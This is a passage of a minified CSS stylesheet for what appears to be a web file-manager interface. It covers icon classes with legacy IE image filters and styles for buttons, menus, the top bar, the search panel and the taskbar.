\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-group-self{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-group-self-owner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-group-guest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-group-self-root{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-group-root{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-group-public{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-tree-self{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-tree-fav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-logout{background-image:url("../../../images/file_icon/icon_others/logout.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/logout.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/logout.png?ver=3.30',sizingMethod='scale');}.x-app-store{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}.frame-fullscreen{position:fixed;z-index:99999999;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.content-box .ace_cjk{width:1em !important;}.content-box .ace_static_highlight{font-size:1.15em;}.aui-buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialog-change-max,.dialog-change-max .aui-main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui-title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;box-sizing:content-box;}.btn:focus{outline:none;}.btn.btn-default .font-icon{color:#999;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}.btn.btn-active{background:#63acff !important;border-color:#4fa1ff !important;border-bottom-color:#449cff !important;z-index:100;text-shadow:none;color:#fff !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#8cc2ff', endColorstr='#63acff');background-image:-webkit-linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);background-image:-moz-linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);background-image:-o-linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);background-image:-ms-linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);background-image:linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);-pie-background:linear-gradient(to to bottom,#8cc2ff 0,#63acff 100%);}.btn.btn-active:hover,.btn.btn-active:active{background:#3a96ff !important;border-color:#268bff !important;border-bottom-color:#1c86ff !important;z-index:100;text-shadow:none;color:#fff !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#63acff', endColorstr='#3a96ff');background-image:-webkit-linear-gradient(to bottom,#63acff 0,#3a96ff 100%);background-image:-moz-linear-gradient(to bottom,#63acff 0,#3a96ff 100%);background-image:-o-linear-gradient(to bottom,#63acff 0,#3a96ff 100%);background-image:-ms-linear-gradient(to bottom,#63acff 0,#3a96ff 100%);background-image:linear-gradient(to bottom,#63acff 0,#3a96ff 100%);-pie-background:linear-gradient(to to bottom,#63acff 0,#3a96ff 100%);}.btn-group.disabled{opacity:0.6;filter:alpha(opacity=60);}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;margin-top:0;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.pull-left:after{right:auto;left:10px;}.dropdown-menu.pull-left:before{right:auto;left:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.dropdown-menu .divider{margin:0.3em 0;}body .context-menu-list .context-menu-item.hover{background:#63acff;}body .aui-outer{*border:1px solid #7dbaff;border:1px solid #7dbaff \0/IE9;border:1px solid #7dbaff;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;top:0;background:#4267b2;position:absolute;z-index:auto;}.topbar .content{padding:0px;line-height:40px;height:39px;word-break:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar-menu{display:block;text-decoration:none;color:#fff;border:1px solid #5074be;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar-menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar-menu.title:hover{background:none;}.topbar .content .topbar-menu .icon{width:25px;height:25px;margin-right:5px;padding:0;margin-top:-4px;font-size:13px;line-height:25px;text-align:center;background:none;}.topbar .content .title img{max-width:200px;max-height:44px;}.topbar .content .open .topbar-menu,.topbar .content .topbar-menu:hover,.topbar .content .topbar-menu.this{background:#5074be;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top-left.collapse{display:block;height:auto !important;}.topbar .content .top-left{overflow:hidden;height:40px;width:70%;}.topbar .content .top-right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top-right .menu-group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top-right .topbar-menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top-right .topbar-menu i{padding-right:3px;}.topbar .content .top-right .btn{color:#fff;}.topbar .content .top-right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top-right ul a:hover,.topbar .content .top-right ul a.this{margin-right:0px;}.topbar .content .top-right ul a.this{background:#63acff;color:#fff;}.topbar .content .top-right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top-right ul.dropdown-menu{margin-top:-1px;}.topbar .content .top-right ul.dropdown-menu.topbar-language{width:470px;padding:10px 5px;}.topbar .content .top-right ul.dropdown-menu.topbar-language li{width:115px;float:left;margin:0 1px 1px 0;}.topbar .content .top-right ul.dropdown-menu.topbar-language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top-right ul.dropdown-menu.topbar-language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share-title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share-title-info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share-info{color:#fff;float:left;font-size:1em;}.topbar .content .share-info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top-right div.share-info-user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top-right div.share-info-user .btn-download,.topbar .content .top-right div.share-info-user .btn.button-my-share{padding:4px 20px;margin-left:5px;}.topbar .content .top-right div.share-info-user .dropdown-toggle{height:16px;}.topbar ul.dropdown-menu.topbar-submenu{right:auto;left:auto;margin-left:-1px;margin-top:-1px;padding:20px 0 10px 20px;width:380px;}.topbar ul.dropdown-menu.topbar-submenu li{float:left;display:block;margin:0 10px 10px 0;width:85px;height:95px;}.topbar ul.dropdown-menu.topbar-submenu li a{border-radius:4px;display:block;height:100%;padding:0;text-align:center;}.topbar ul.dropdown-menu.topbar-submenu li a:hover,.topbar ul.dropdown-menu.topbar-submenu li a:active,.topbar ul.dropdown-menu.topbar-submenu li a.this,.topbar ul.dropdown-menu.topbar-submenu li a.this:hover{background:#34a5ff;color:#fff;}.topbar ul.dropdown-menu.topbar-submenu li a:hover i.icon,.topbar ul.dropdown-menu.topbar-submenu li a:hover i.font-icon,.topbar ul.dropdown-menu.topbar-submenu li a:active i.icon,.topbar ul.dropdown-menu.topbar-submenu li a:active i.font-icon,.topbar ul.dropdown-menu.topbar-submenu li a.this i.icon,.topbar ul.dropdown-menu.topbar-submenu li a.this i.font-icon,.topbar ul.dropdown-menu.topbar-submenu li a.this:hover i.icon,.topbar ul.dropdown-menu.topbar-submenu li a.this:hover i.font-icon{background:#f5faff;color:#2196F3;}.topbar ul.dropdown-menu.topbar-submenu li a i.icon,.topbar ul.dropdown-menu.topbar-submenu li a i.font-icon,.topbar ul.dropdown-menu.topbar-submenu li a img,.topbar ul.dropdown-menu.topbar-submenu li a .x-item-file{width:64px;height:64px;line-height:64px;padding:0;margin-top:5px;opacity:1;display:inline-block;border-radius:10px;}.topbar ul.dropdown-menu.topbar-submenu li a .x-item-file{margin-bottom:-5px;}.topbar ul.dropdown-menu.topbar-submenu li a i.icon,.topbar ul.dropdown-menu.topbar-submenu li a i.font-icon{font-size:36px;background:#def;color:#2196F3;}.topbar ul.dropdown-menu.topbar-submenu li a i.icon.words,.topbar ul.dropdown-menu.topbar-submenu li a i.font-icon.words{font-size:20px;}.topbar ul.dropdown-menu.topbar-submenu li a i.icon.words em,.topbar ul.dropdown-menu.topbar-submenu li a i.font-icon.words em{width:45px;height:45px;overflow:hidden;font-style:normal;display:inline-block;white-space:pre-wrap;}.topbar ul.dropdown-menu.topbar-submenu li a span{display:block;font-size:13px;padding-top:5px;text-overflow:ellipsis;overflow:hidden;white-space:nowrap;}.common-footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common-footer .copyright-bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common-footer .copyright-bottom:hover{color:#f60;border-bottom:none;}.desktop-widget{z-index:10 !important;}.do-search-box{color:#888;}.do-search-box .search-header{padding:10px;padding-bottom:0px;}.do-search-box .search-header input[type='checkbox']{padding-left:0px;}.do-search-box .search-header label{font-size:1em;}.do-search-box .search-header .btn-right{margin:0px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;position:absolute !important;}.do-search-box .search-header .s_br{margin-bottom:8px;line-height:25px;}.do-search-box .search-header #search-value,.do-search-box .search-header #search-path,.do-search-box .search-header #search-ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do-search-box .search-header #search-value:focus,.do-search-box .search-header #search-path:focus,.do-search-box .search-header #search-ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do-search-box .search-header #search-value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do-search-box #search-is-case{margin-left:10px;}.do-search-box .search-desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do-search-box .search-result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do-search-box .search-result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do-search-box .search-result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;word-wrap:break-word;word-break:break-all;overflow:hidden;}.do-search-box .search-result .file-item .file-info:hover{background:#eee;}.do-search-box .search-result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do-search-box .search-result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do-search-box .search-result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do-search-box .search-result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do-search-box .search-result .file-item .file-info .file-icon img{width:100%;height:100%;}.do-search-box .search-result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do-search-box .search-result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;background:#fff;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do-search-box .search-result .file-item .file-info .goto:hover,.do-search-box .search-result .file-item .file-info:hover .goto:hover{background:#fbbc00;color:#fff;}.do-search-box .search-result .file-item .file-info:hover .goto{display:block;background:#e6e6e6;}.do-search-box .search-result .file-item .keyword{background:#ffef65;color:#000;}.do-search-box .search-result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do-search-box .search-result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do-search-box .search-result .file-item .result-item .result-info:hover{background:#eee;}.do-search-box .search-result .file-item .result-item .result-info.this,.do-search-box .search-result .file-item .result-item .result-info.this:hover{background:#63acff;}.do-search-box .search-result .file-item .result-item .result-info.this .line,.do-search-box .search-result .file-item .result-item .result-info.this .search-info,.do-search-box .search-result .file-item .result-item .result-info.this:hover .line,.do-search-box .search-result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do-search-box .search-result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do-search-box .search-result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', monospace 'Microsoft Yahei', '微软雅黑', Courier, 'Helvetica Neue', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do-search-box .search-result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}body#page-desktop .topbar .content .topbar-menu{border-color:rgba(255,255,255,0.01);}.full-background{position:absolute;overflow:hidden;z-index:0;}.aero:before{position:absolute;top:0;right:0;bottom:0;left:0;z-index:-1;box-sizing:border-box;background-position:center center;background-size:cover;background-repeat:no-repeat;background-attachment:fixed;content:'';-webkit-filter:blur(4px) brightness(1.0);filter:blur(4px) brightness(1.0);clip-path:inset(0);}.aero:after{position:absolute;top:0;right:0;bottom:0;left:0;z-index:-2;box-sizing:border-box;background-position:center center;background-size:cover;background-repeat:no-repeat;background-attachment:fixed;clip-path:inset(0);}.task-tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task-tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task-tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task-tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task-tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init-loading{position:fixed;left:50%;margin-left:-80px;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init-loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init-loading img{border-radius:10px;}.space-info-bar{width:110px;}.space-info-bar .space-process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space-info-bar .space-process .space-process-use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.space-info-bar .space-process .space-process-use.warning{background-color:#f00 !important;}.dialog-app-select .app-list{border:1px solid #ddd;padding:25px 0 0 10px;height:280px;overflow:auto;overflow-x:hidden;border-radius:4px;background:#f5f5f5;}.dialog-app-select .app-list .app-item{border:1px solid #f5f5f5;width:95px;height:110px;border-radius:4px;transition:all 0.2s ease 0s;margin:0 10px 10px 0;text-align:center;float:left;color:#444;text-decoration:none;}.dialog-app-select .app-list .app-item:hover{border-color:#77c2ff;background:#def;}.dialog-app-select .app-list .app-item.select{border-color:#559cec;background:#63acff;color:#fff;}.dialog-app-select .app-list .app-item .ico{width:64px;height:64px;display:table-cell;vertical-align:middle;padding:5px 0 0 16px;}.dialog-app-select .app-list .app-item .ico img{width:100%;height:auto;}.dialog-app-select .app-list .app-item .ico .x-item-file{display:block;}.dialog-app-select .app-list .app-item .ico [class^="icon-"].font-icon,.dialog-app-select .app-list .app-item .ico [class*="icon-"].font-icon{width:56px;height:56px;line-height:60px;font-size:28px;padding:0px;text-align:center;margin-top:-2px;border-radius:12px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(3,169,244,0.7)', endColorstr='rgba(63,81,181,0.5)');background-image:-webkit-linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));background-image:-moz-linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));background-image:-o-linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));background-image:-ms-linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));background-image:linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));-pie-background:linear-gradient(to 